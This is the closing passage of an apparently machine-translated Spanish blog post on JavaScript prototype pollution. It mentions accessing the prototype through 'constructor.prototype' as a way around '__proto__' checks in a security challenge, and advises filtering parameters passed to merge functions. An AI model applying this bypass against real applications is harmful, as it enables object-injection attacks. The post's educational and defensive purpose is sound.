Luego, en el proceso de acceder al objeto prototipo a través de la instancia, no solo podemos usar __proto__sino también usar constructor.prototypeel acceso. Se puede lograr el mismo efecto, que challenge-0422también se usa como método de derivación en el desafío.

En general, el tema de la contaminación de la cadena de prototipos todavía tiene mucho contenido en profundidad que vale la pena explorar, y este artículo es solo un rasguño. Si estás interesado, puedes profundizar más. A medida que se mejoran cada vez más las funciones que la tecnología front-end puede lograr, los problemas de seguridad que surgen no pueden subestimarse.

Todavía queda un largo camino por recorrer, especialmente para los conceptos básicos de código. Aún queda mucho camino por recorrer, ¡animémonos entre todos!

Además, la prevención de la contaminación de la cadena de prototipos solo se puede evitar desde la perspectiva de la escritura de código, y se debe filtrar cualquier parámetro que ingrese a la fusión. De esta forma, se pueden bloquear algunos ataques de contaminación en cadena de prototipos.

Supongo que te gusta

Origin blog.csdn.net/qq_55316925/article/details/129115251
Recomendado
Clasificación